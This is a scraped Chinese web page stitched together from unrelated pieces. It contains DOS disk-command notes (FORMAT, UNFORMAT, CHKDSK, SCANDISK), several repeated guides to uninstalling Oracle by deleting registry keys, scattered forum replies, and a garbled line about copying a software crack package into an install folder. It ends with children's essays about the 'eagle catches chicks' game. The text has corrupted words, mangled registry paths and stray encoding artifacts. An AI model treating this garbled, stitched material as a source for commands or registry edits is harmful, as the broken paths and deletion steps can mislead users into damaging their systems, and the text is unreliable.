（5）选用[/Q]参数，快速格式化，这个参数并不会重新划分磁盘的磁道貌岸然和扇区，只能将磁盘根目录、文件分配表以及引导扇区清成空白，因此，格式化的速度较快。 （6）选用[/U]参数，表示无条件格式化，即破坏原来磁盘上所有数据。不加/U，则为安全格式化，这时先建立一个镜象文件保存原来的FAT表和根目录，必要时可用UNFORRMAT恢复原来的数据。 （二）UNformAT恢复格式化命令 1．功能：对进行过格式化误操作丢失数据的磁盘进行恢复。 2．类型：外部命令 3．格式：UNformAT〈盘符〉[/L][/U][/P][/TEST] 4．使用说明：用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区（包括FAT、根目录、BOOT扇区及硬盘分区表）受损时，也可以用UNformAT来抢救。 （1）选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息，但不会真的做formAT工作。 （2）选用/P参数将显示于屏幕的报告（包含/L参数所产生的信息）同时也送到打印机。运行时屏幕会显示：“Print out willbe sent to LPT1” （3）选用/TEST参数只做模拟试验（TEST）不做真正的写入动作。使用此参数屏幕会显示：“Simulation only” （4）选用/U参数不使用MIRROR映像文件的数据，直接根据磁盘现状进行UNformAT。 （5）选用/PSRTN；修复硬盘分区表。 若在盘符之后加上/P、/L、/TEST之一，都相当于使用了/U参数，UNformAT会“假设”此时磁盘没有MIRROR映像文件。 注意：UNformAT对于刚formAT的磁盘，可以完全恢复，但formAT后若做了其它数据的写入，则UNformAT就不能完整的救回数据了。UNformAT并非是万能的，由于使用UNformAT会重建FAT与根目录，所以它也具有较高的危险性，操作不当可能会扩大损失，如果仅误删了几个文件或子目录，只需要利用UNDELETE就够了。三） CHKDSK——检查磁盘当前状态命令 1．功能：显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。 2．类型：外部命令 3．格式：CHKDSK [盘符：][路径][文件名][/F][/V] 4．使用说明： （1）选用[文件名]参数，则显示该文件占用磁盘的情况； （2）选[/F]参数，纠正在指定磁盘上发现的逻辑错误； （3）选用[/V]参数，显示盘上的所有文件和路径。 （四）DISKCOPY——整盘复制命令 1．功能：复制格式和内容完全相同的软盘。 2．类型：外部命令 3．格式：DISKCOPY[盘符1：][盘符2：] 4．使用说明： （1）如果目标软盘没有格式化，则复制时系统自动选进行格式化。 （2）如果目标软盘上原有文件，则复制后将全部丢失。 （3）如果是单驱动器复制，系统会提示适时更换源盘和目标盘，请操作时注意分清源盘和目标盘。 （五）LABEL——建立磁盘卷标命令 1．功能：建立、更改、删除磁盘卷标。 2．类型：外部命令 3．格式：LABEL[盘符：][卷标名] 4．使用说明： （1）卷标名为要建立的卷标名，若缺省此参数，则系统提示键入卷标名或询问是否删除原有的卷标名； （2）卷标名由1至11个字符组成。 （六）VOL——显示磁盘卷标命令 1．功能：查看磁盘卷标号。 2．类型：内部命令 3．格式：VOL[盘符：] 4．使用说明：省略盘符，显示当前驱动器卷标。 （七）SCANDISK——检测、修复磁盘命令 1．功能：检测磁盘的FAT表、目录结构、文件系统等是否有问题，并可将检测出的问题加以修复。 2．类型：外部命令 3．格式：SCANDISK[盘符1：]{[盘符2：]…}[/ALL] 4．使用说明： （1）CCANDISK适用于硬盘和软盘，可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘； （2）可自动检测出磁盘中所发生的交叉连接、丢失簇和目录结构等逻辑上的错误，并加以修复。 （八）DEFRAG——重整磁盘命令 1．。功能：整理磁盘，消除磁盘碎块。 2．类型：外部命令 相关教程：http://www.softhouse.com.cn/html/200501/2005012608080500004109.html

format fdisk dir cd deltree del md

　　 开始－＞运行 输入SERVICES MSC到服务里 停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINE＼SOFARE＼ORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services 滚动这个列表 删除所有Oracle入口 　　 运行regedit HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services＼Eventlog＼Application 删除所有Oracle入口 　　 我的电脑－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除＼Program Files＼Oracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C ＼Oracle 删除这个入口目录及所有子目录 并从目录（一般为C ＼WINNT）下删除以下文件ORACLE INI oradim INI oradim INI oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 lishixinzhi/Article/program/Oracle/201311/17527

　　oracle服务项中有不用的服务 应该如何处理呢？下面就为您介绍删除oracle服务项中不用的服务的实现方法 希望对您学习oracle服务项方面能有所帮助 　　管理－－＞oracle服务项里面删不掉的服务可以直接进注册表删除 　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices 　　中找到要删除的删除后重启即可 　　 将不用的服务先禁用 　　 在 运行 中输入 regedit 打开注册表 找到 KEY_LOCAL_MACHINE 下的 SYSTEM 下的 ControlSet ″下的 Services 然后在该目录下找到你要删除的项将其删除即可 　　以上的这些目录是我自己系统中的具体目录 其实只要通过 编辑 下的 查找 找到你所要删除的项 然后确定该项目是在Services目录下并将其删除即可 　　此时 服务项中仍会有该服务 但已发生改变 只要重启下计算机就可将其从服务中彻底删除 　　彻底删除oracle 　　实现方法 　　 开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞Universal Installer 　　卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINESOFAREORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 滚动这个列表 删除所有Oracle入口 　　 运行regedit 　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 　　删除所有Oracle入口 　　 开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 　　删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除Program FilesOracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C:Oracle 删除这个入 　　口目录及所有子目录 并从Windows 目录（一般为C:WINNT）下删除以下文 　　件ORACLE INI oradim INI oradim INI oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 　　说明 　　到现在为止 你还是可以发现在服务里面还有oracle的服务存在 必须把他删除 否则你再安装oracle时就会出现什么服务已经存在的错误提示了 而这些服务是在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot下以LEGACY_ORACLE打头的 而且你选种按delete删除时系统会提示你一个错误 不让你删除 现提供具体删除方法 win 的如下 　　运行regedt 注意了 不是regedit 在HKEY_LOCAL_MACHINE那页找到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot先选中ROOT然后点菜单上的安全 权限把自己添加到里面 并且权限设置为完全控制 确定后再删除ROOT下所有LEGACY_ORACLE打头的键 同样的方法也可以把HKEY_LOCAL_MACHINESYSTEMControlSet 和HKEY_LOCAL_MACHINESYSTEMControlSet 两个下面EnumRoot下所有LEGACY_ORACLE打头的键删除 重新启动计算机可以发现 服务里面的那些都没有了 　　在winXP中就比较简单了 还是运行regedit 找到LEGACY_ORACLE打头的键后右击 选择权限 同样将everyone设置为完全控制就可以删除了 删除后重新启动一下就可以了 lishixinzhi/Article/program/Oracle/201311/18461

作死啊，删除这个干嘛，你直接在c盘搜索这个程序看有没有吧

注册表是不能删除的，换个系统试下吧

oracle10g卸载x0dx0a软件环境：x0dx0ax0dx0a1、WindowsXP+Oracle10gx0dx0ax0dx0a2、Oracle安装路径为：d:Oraclex0dx0ax0dx0a实现方法：x0dx0ax0dx0a1、开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务；x0dx0ax0dx0a2、开始－＞程序－＞Oracle_OraDb10g_home1＞OracleInstallationProducts－＞UniversalInstaller卸装所有Oracle产品，但UniversalInstaller本身不能被删除；x0dx0ax0dx0a3、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口；x0dx0ax0dx0a4、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动这个列表，删除所有Oracle入口；x0dx0ax0dx0a5、运行refedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，删除所有Oracle入口；x0dx0ax0dx0a6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量,删除环境变量CLASSPATH和PATH中有关Oracle的设定；x0dx0ax0dx0a7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标；x0dx0ax0dx0a8、删除c:ProgramFilesOracle目录；x0dx0ax0dx0a9、重新启动计算机，重起后才能完全删除Oracle所在目录；x0dx0ax0dx0a10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入口目录及所有子目录，并从WindowsXP目录（一般为d:WINDOWS）下删除以下文件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等；x0dx0ax0dx0a11、WIN.INI文件中若有[ORACLE]的标记段，删除该段；x0dx0ax0dx0a12、如有必要，删除所有Oracle相关的ODBC的DSN；x0dx0ax0dx0a13、到事件查看器中，删除Oracle相关的日志说明：如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了。

..完全可以而且是垃圾文件

由于一些其他问题，Windows系统重装，导致python打包失败。查看原因，是因为pyinstaller不支持多个python版本。简单粗暴解决办法，删除多余的版本。删除方法一，使用安装包删除 删除方法二：删除安装文件，删除环境变量 but，dos上还是可以访问python3.8，这是什么情况？？？ 在dos上输入where python 找到路径，并删除，ok

CD C:Progra~1

Oracle数据库卸载步骤：1、关闭oracle所有的服务。可以在windows的服务管理器中关闭；2、打开注册表：regedit 打开路径：HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 删除该路径下的所有以oracle开始的服务名称，这个键是标识Oracle在windows下注册的各种服务！3、打开注册表，找到路径：HKEY_LOCAL_MACHINESOFTWAREORACLE 删除该oracle目录，该目录下注册着Oracle数据库的软件安装信息。4、删除注册的oracle事件日志，打开注册表 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 删除注册表的以oracle开头的所有项目。5、删除环境变量path中关于oracle的内容。 鼠标右键右单击“我的电脑-->属性-->高级-->环境变量-->PATH 变量。 删除Oracle在该值中的内容。注意:path中记录着一堆操作系统的目录，在windows中各个目录之间使用分号（;）隔开的，删除时注意。 建议：删除PATH环境变量中关于Oracle的值时，将该值全部拷贝到文本编辑器中，找到对应的Oracle的值，删除后，再拷贝修改的串，粘贴到PATH环境变量中，这样相对而言比较安全。6、重新启动操作系统。以上1~5个步骤操作完毕后，重新启动操作系统。7、重启操作系统后各种Oracle相关的进程都不会加载了。这时删除Oracle_Home下的所有数据。（Oracle_Home指Oracle程序的安装目录）8、删除C:Program Files下oracle目录。 （该目录视Oracle安装所在路径而定）9、删除开始菜单下oracle项，如： C:Documents and SettingsAll Users「开始」菜单程序Oracle - Ora10g 不同的安装这个目录稍有不同。 如果不删除开始菜单下的Oracle相关菜单目录，没关系，这个不影响再次安装Oracle.当再次安装Oracle时，该菜单会被替换。Windows平台下Oracle就彻底卸载了

　SQLServer正常情况下可以通过添加删除将其卸载，但有时可能会出现一些不可遇见的原因，　　导致其不能自动卸载，就需要手工卸载，在手工卸载前要注意做好数据的备份工作，以便于　　以后做还原，卸载SQLServer包括两个方面：　　第一，程序文件和数据文件的卸载。如果SQLServer是默认安装，程序文件和数据文件在同一　　路径下，如下：　　　　　　　找到后将整个MicrosoftSQLServer文件夹全部删除掉。　　　若不是在同一路径下，程序文件路径如下：　　　　　　将整个MicrosoftSQLServer文件夹删除掉，再找到相对应的数据文件夹MSSQL进行删除。　　第二，注册表信息的删除。　　【开始】->【运行】->输入regedit，点开HKEY_LOCAL_MACHINE->software->microsoft，　　找到microsoftSQLServer和MSSQLServer，如下：　　　　　　右击这两个文件选择删除，关闭注册表，然后重新启动电脑就可以了。如何彻底删除Oracle？软件环境：　　1、Windows2000+ORACLE8.1.7　　2、ORACLE安装路径为：C:ORACLE　　实现方法：　　1、开始－＞设置－＞控制面板－＞管理工具－＞服务　　停止所有Oracle服务。　　2、开始－＞程序－＞Oracle-OraHome81－＞OracleInstallationProducts－＞　　UniversalInstaller　　卸装所有Oracle产品，但UniversalInstaller本身不能被删除　　5、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口。　　6、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动　　这个列表，删除所有Oracle入口。　　7、运行refedit，　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，　　删除所有Oracle入口。　　8、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量　　删除环境变量CLASSPATH和PATH中有关Oracle的设定　　9、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标　　10、删除ProgramFilesOracle目录　　11、重新启动计算机，重起后才能完全删除Oracle所在目录　　12、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入　　口目录及所有子目录，并从Windows2000目录（一般为C:WINNT）下删除以下文　　件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。　　13、WIN.INI文件中若有[ORACLE]的标记段，删除该段　　14、如有必要，删除所有Oracle相关的ODBC的DSN　　15、到事件查看器中，删除Oracle相关的日志　　说明：　　如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，　　安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了

重新export 下嘛

　　可以完整的删除Oracle products Oracle services和注册表信息 　　　　当然是很少情况下才想到删除oracle 只有确定真的不用的时候才做 　　如果需要请备份所有相关的文件 　　（下面操作假设是使用OFA结构） 　　NT环境下 　　 以NT的Administrator 登陆 　　 通过控制面版 〉服务 停掉所有ORACLE服务 　　 打开注册表（REGEDIT命令） 删除 　　　 HKEY_LOCAL_MACHINESOFAREORACLE 　　 打开注册表中的 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 　　　　　 删除以ORACLE开头的所有服务 　　 删除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventLogA 　　pplication下 　　　 以ORACLE开头的所有服务 　　 关闭REGEDIT 　　 打开控制面版 〉系统 〉环境变量 　　 如果ORACLE安装了JRE 就删除%ORACLE_HOME%BIN和JRE路径 　　　 比如 ORACLEORA BIN;G: Program FilesOraclejre in 　　 删除WinntProfilesAll UsersStart MenuProgramsOracle 和 　　　 WinntProfilesAll UsersStart MenuProgramsOracle 　　 删除Program FilesOracle 　　 重新启动机器 　　 删除所有ORACLE目录（在注册表HKEY_LOCAL_MACHINESOFAREORACLEORA 　　CLE_HOMES下） 　　　　在 Windows / Windows : 　　　　 打开注册表HKEY_LOCAL_MACHINESOFAREORACLE 　　　　 删除前面步骤中的第 步中的ORACLE 　　　　 删除AUTOEXEC BAT 中的 %ORACLE_HOME%in 和 JRE 　　　　 删除所有ORACLE目录 　　　　 Program FilesOracle 　　　　 WindowsStart MenuProgramsOracle <HOME> 　　　　　　WindowsStartMenuProgramsOracle 　　　　 重新启动　　　　 删除Oracle 　　软件环境 Windows +ORACLE 　　　　　　　　 ORACLE安装路径为 C:ORACLE 　　实现方法 　　 开始－＞设置－＞控制面板－＞管理工具－＞服务 停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞Universal Installer 卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINESOFAREORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 滚动这个列表 删除所有Oracle入口 　　 运行regedit HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 删除所有Oracle入口 　　 开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除Program FilesOracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C:Oracle 删除这个入口目录及所有子目录 并从Windows 目录（一般为C:WINNT）下删除以下文件ORACLE ini oradim ini oradim ini oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 　　说明 　　如果有个别DLL文件无法删除的情况 则不用理会 重新启动 开始新的安装 　　安装时 选择一个新的目录 则 安装完毕并重新启动后 老的目录及文件就可以删除掉了 　　　　 删除Oracle 　　如果需要卸载Oracle 请运行安装光盘上的安装文件Setup exe 在 欢迎 窗口中 选择 卸装产品 按钮 进入 Invertory 目录 窗口 在该窗口中选择需要删除的产品（在产品名称前面的方框内打上在标记√） 然后单击 删除 按钮即可 或者直接在开始菜单中找到Oracle for NT程序组下的Oracle installer 同样可以卸载Oracle 　　卸载Oracle产品后 在系统的注册表内仍然有相关信息 您可以参考以下方法进行手工删除 　　注意 对注册表的操作可能对系统产生严重影响 请在操作前进行备份 以便在系统异常时恢复到原来的注册表 该操作请参考Windows系统的相关说明 　　运行RegEdit 在 HKEY_CURRENT_USERSofare HKEY_LOCAL_MACHINESofare HKEY_LOCAL_MACHINESystemCurrentControlSetServices 主键中删除所有的Oracle入口（如果找到的话） 然后重新启动计算机 如一切正常 则修改完成 如启动有错误 可能您对注册表的修改出错 运行RegEdit 将备份的注册表项目导入 如果误删了注册表中的 Microsoft ODBC for Oracle 可用以下方法恢复 　　将 HKEY_LOCAL_MACHINEsofareMicrosoftDataAccess 中的Version的值由 a 改为 a 然后重新安装财务软件 安装程序会自动安装 MADC 并恢复 Microsoft ODBC for Oracle （对Windows / 请立即进入Dos方式 将备份的system dat文件（如system bak）复制回system dat） 　　（对Windows NT 如启动失败 请重新启动计算机 在提示下 按空格键启动 硬件配置文件/已知的最新正确配置 菜单 该菜单将注册表还原到稳定状态 按照屏幕上的指示操作 可以将注册表还原为上次成功启动时的状态 ） lishixinzhi/Article/program/Oracle/201311/18033

2、开始－＞程序－＞Oracle - OraHome81－＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品， 但Universal Installer本身不能被删除 3、运行regedit，选择 HKEY_LOCAL_MACHINE－＞SOFTWAREORACLE，按del键删除这个入口。 4、运行regedit，选择 HKEY_LOCAL_MACHINE－＞SYSTEM－＞CurrentControlSet－＞Services，滚动 这个列表，删除所有Oracle入口。 5、运行refedit，选择 HKEY_LOCAL_MACHINE－＞SYSTEM－＞CurrentControlSet－＞Services－＞Eventlog－＞Application，删除所有Oracle入口。 6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标 8、删除Program FilesOracle目录 9、重新启动计算机，重起后才能完全删除Oracle所在目录 10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C：Oracle，删除这个入口目录及所有子目录，并从Windows 2000目录（一般为C：WINNT）下删除以下文 件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。 11、WIN.INI文件中若有[ORACLE]的标记段，删除该段 12、如有必要，删除所有Oracle相关的ODBC的DSN 13、到事件查看器中，删除Oracle相关的日志

见附件就是卸载方案，我经常用这个的。

试试进安全模式可以操作吗如果安全模式也不行的话再试试这个办法：通过重置系统的方法来恢复点击开始选择设置--系统设置--找到更新和安全--选择恢复，点击重置此电脑下方的--开始但是在重置时要注意选择保存文件和设置如果这个办法也不行就重新安装操作系统吧！！！

360安全卫士试试？

1.停止所有与ORACLE相关的服务。 2. 使用OUI（Oracle Universal Installer）卸载Oracle软件。 “开始” －＞“程序” －＞“Oracle-OraDb110g_home1|Oracle installation product|Universal installer. 3.删除注册表内容。 运行regedit命令，删除下面内容：a.HKEY_CLASSES_ROOT，删除此键下所有以Ora，Oracle，Orcl，EnumOra 为前缀的键;b. LOCAL_MACHINESYSTEMCurrentControlSetServices，删除以Oracle或OraWeb为前缀的键; c.HKEY_LOCAL_MACHINESOFTWAREORACLE注册表键，删除此键; d.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，删除Services键下所有以oracle为首的键;e.HKEY_LOCAL_MACHINE SYSTEM ControlSet001services所有oracle的服务，按del键删除掉;f.HKEY_LOCAL_MACHINE SYSTEM ControlSet002services所有oracle的服务，按del键删除掉;g.HKEY_LOCAL_MACHINE SYSTEM ControlSet003services所有oracle的服务，按del键删除掉;h.HKEY_LOCAL_MACHINE SYSTEM ControlSetservices所有oracle的服务，按del键删除掉;i.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication， 删除此键下所有以oracle为首的键; j.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerMenuOrderStart MenuPrograms， 删除此键下所有以oracle为首的键;k.HKEY_LOCAL_MACHINESOFTWAREODBCODBCINST.INI注册表键，删除了Microsoft ODBC FOR ORACLE注册表键以外的所有有Oracle字样的键值。 4. 删除环境变量。 删除环境变量CLASSPATH和PATH中含有Oracle字样的值。 “我的电脑” －＞“属性” －＞“高级” －＞“环境变量” 。5.在文件系统内删除ORACLE相关的文件及目录：a.删除系统盘符：在C盘的Progrm Files下删除Oracle有关的目录；在C盘的根目录下删除ORACLE有关的目录。b.删除C盘下有个WINNT文件夹，里面有ORACLEM73.INI,ORACLE 80.INI等文件夹；d．找到WIN.INI文件夹，删除ORACLE有关的文件；c. 删除你所安装下的目录；6.到“管理工具”里，在“事件查看器”里删除有关ORACLE的文件。7.重启电脑就可以，之前删除不了的文件就可以删除掉了。不过有些文件是没有。找不到就不用删了。

打开方式不正确 从我的电脑右键 属性 高级系统设置 高级 环境变量 这个路线进入 就可以删除了

看见就删掉，没看见就别理它

http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/ntcmds.mspx?mfr=truewindows 网站里的解释所有DOS命令。还有些其它的不是是英文就是了。

删除环境变量中与ansys相关的东西。当我们在手机软件市场上搜索软件，根据页面上的提示，一步步安装好程序后，同时需要把破解包复制到相关的安装目录。当我们把程序和破解包都安装好，在手机页面点击对应的APP的图标，然后在许可证服务器安装路径中根据文件会生成符合自己机器的标识，就可以加载虚拟光驱。

　　在日复一日的学习、工作或生活中，大家都写过作文，肯定对各类作文都很熟悉吧，通过作文可以把我们那些零零散散的思想，聚集在一块。如何写一篇有思想、有文采的作文呢？以下是我帮大家整理的老鹰捉小鸡二年级作文300字4篇，仅供参考，希望能够帮助到大家。 老鹰捉小鸡二年级作文300字 篇1 　　星期天，我又来到了羽毛球馆练习打球，结束前的半小时是我最喜欢的游戏时刻，教练让我们玩“老鹰捉小鸡”游戏。 　　教练让动作敏捷的杨杨当“老鹰”，让身强力壮的尧尧当“母鸡”，其他人自然都只能当“小鸡”了。大家都做好了开始的准备，我暗暗地对自己说：“我一定要跑快点，因为那只老鹰太强大了。”游戏快要开始了，“老鹰”已经在蠢蠢欲动了，他虎视眈眈地盯着“小鸡”们。“小鸡”们也开始退缩，我也不禁紧张起来。 　　突然，“老鹰”扑了过来，我们连忙左躲右闪。几个回合后，一只“小鸡”跑出了“鸡群”，“老鹰”一下子扑上去把“小鸡”捉住了。 　　我们见了，立刻商量出了一条对付“老鹰”的计策：由我和明明不断叫喊，吸引“老鹰”的注意力。“老鹰”一会儿跑到左来抓我，一会儿奔向右去抓明明，这下把他累得筋疲力尽，一屁股瘫坐在地上，只好认输了。 　　快乐的时光很快就过去了，教练宣布活动结束。望着大家离去的背影，我明白了一个道理：团结的力量是最强大的！ 老鹰捉小鸡二年级作文300字 篇2 　　我的课余生活丰富多彩，有打羽毛球，有跳绳，有扔沙包……尤其是老鹰捉小鸡这个游戏，让我的课余生活充满了欢快。 　　昨天下午，课外活动时，老师把我们带到操场上。又把我们分成4组，每组选1个同学当“鸡妈妈”，又选1个同学来当“老鹰”。 　　游戏开始了，“老鹰”用凶猛的眼神盯着我们，忽然张开翅膀跑了过来。“鸡妈妈”张开双臂，像一面移动的.墙挡住了“老鹰”。这时“老鹰”想“鸡妈妈”把我防的严严实实的。“老鹰”急得直跺脚我得想个办法，“老鹰”站在“鸡妈妈”面前一动不动，看上去很疲倦的样子。“鸡妈妈”放松了警惕刚转过头“老鹰”猛扑过去。“鸡妈妈”见状，大吃一惊，迅速张开它有力的翅膀。我们吓得左躲右闪，四处乱跑。“老鹰”趁虚而入，纵身一跃，一把抓住了王紫鹏，老鹰高兴极了。 　　这就是我们快乐的课余生活！ 老鹰捉小鸡二年级作文300字 篇3 　　“丁铃铃……”下课了。同学们箭一般地冲出教室，跑到操场上玩老鹰捉小鸡的游戏。 　　大家由黑白配来决定谁当老鹰，谁当母鸡。结果出来了，我当老鹰，朱子彦当母鸡。我高兴得一蹦三尺高。 　　游戏开始了，“老鹰”张开翅膀，眼睛虎视眈眈地盯着“小鸡”，对它们进行猛烈地攻击。“母鸡”也不甘示弱地伸出自己小而有力的翅膀，来保护“小鸡们”。 　　狡猾的“老鹰”一下跑到左，一下跑到右，害得“母鸡”和“小鸡”左躲右闪。“老鹰”盯住了一只“小鸡”，纵身一跃，聪明的“小鸡”急忙躲开了可恶的“老鹰”，“老鹰”万万没想到自己会变得这么愚蠢，便扑了个空。 　　于是，“老鹰”出了狠招，假惺惺地说：“母鸡同志，我累了，先休息休息。”“老鹰”假装做了个放弃捉“小鸡”的动作，当“母鸡”放松警惕，稍不留神，“老鹰”就来了个“恶虎扑羊”，一只可怜的“小鸡”就被捉住了。 　　在欢乐的笑声中，我们结束了今天的游戏。我们的课余生活真是丰富多彩！ 老鹰捉小鸡二年级作文300字 篇4 　　每当想起和同学们玩老鹰捉小鸡这个游戏，我就非常地开心。 　　游戏开始了，首先由我当老鹰，只见老母鸡张开双翅保护着小鸡们。我想：硬碰硬不行，得用巧攻。对了，我可以用声东击西这个办法来迷惑老母鸡。我先向右跑，准备再向左跑的时候，老母鸡识破了我的计策，便用双手把我往前推。我想：这招不行，就用侧面偷袭的法子，你一定不会知道的。于是，我用双手往前推，然后猛地一转身，终于轻而易举地捉到了两只反应不够灵活的小鸡。 　　轮到我当老母鸡了。只见老鹰气势汹汹地向我这儿冲来。我大声地对小鸡们说：“孩子们，小心啊！”我一边提醒小鸡一边展开双翅和这只老鹰搏斗。渐渐地，这只老鹰终于被打退了，正当我们想喘口气的时候，这只狡猾的老鹰突然向我们发起了进攻，可怜我后面几只反应迟钝的孩子们，还没站稳脚跟就被这只老鹰给拖走了，成了老鹰的美餐。 　　在玩这个游戏的过程中，让我们最好笑的就是张歆予了，因为在他当老鹰的时候，竟然跌了三个跟头，有两个还摔成了四脚朝天，满身是草。我们见了都忍不住笑了起来，就连老师都笑得直不起腰来。 　　今天个个玩得满头大汗，累得气喘嘘嘘，但我们都很开心，我真希望每天中午都能做一个游戏，玩得像今天这样快乐。

1.小学四年级老鹰捉小鸡作文400字 　　老鹰捉小鸡的游戏真好玩!我是老鹰，汪可安是母鸡，其他人是小鸡，游戏开始了。母鸡伸出双手挡着老鹰，老鹰瞪大双眼吓吓母鸡，又拍拍翅膀绕着母鸡走了一圈。母鸡也转过身来盯老鹰，生怕老鹰改变方向吃自己的孩子。一群小鸡紧紧拉住前一位小鸡的衣服，生怕自己掉队。母鸡横着跑，守着老鹰不放。后面的小鸡队伍弯了，扭到了离老鹰较远的地方。谁知，老鹰突然改变放向，直向队伍后面跑去。母鸡一看，情况不妙，便来了个八十一级大转弯，拦住了老鹰，后面的小鸡东躲西藏，吓得四处逃跑，整支队伍弯来扭去，许多小鸡都掉了队。队伍散了。老鹰趁火打劫。这种情况对他是如鱼得水啊!老鹰发起了猛攻。他捉住最后一只小鸡，扑了上去，张口就吃。其他小鸡有的吓得发抖，有的吓得大叫。老鹰趁胜追击，老鹰赢了，操场上立刻响起了欢呼声。 12.小学四年级老鹰捉小鸡作文400字 　　下课了，同学们在操场上玩老鹰捉小鸡的游戏。孙涛当老鹰，当母鸡，其他小鸡。 　　游戏开始了。 　　老鹰听到叽叽声，马上飞到鸡窝旁，看见母鸡孵出了许多小鸡，伸伸舌头，馋得直流口水，便对母鸡说：“你有那么多小鸡，就送我几只当晚餐吧!” 　　老母鸡眨了眨眼睛说：“只要你在太阳下山前捉到的，就全归你。” 　　“好，说话算数!”说着，老鹰就张开双爪，向老母鸡身后的小鸡扑去，但被母鸡那强劲的翅膀给挡住了。小鸡在后面秩序井然，毫不乱跑。老鹰不死心，弯下脖子冲，想从老母鸡翅膀下穿过去。只见老母鸡马上合拢翅膀，老鹰又束手无策了。母鸡刚想喘一口气，没想到老鹰直飞过来，左右猛攻。小鸡躲闪不及，被虏俘了一只。正在老鹰得意时，老母鸡一把抢过小鸡。这时太阳下山了，老鹰无奈，只好拍着翅膀飞走了。 　　游戏结束了，大家余兴未尽。 3.小学四年级老鹰捉小鸡作文400字 　　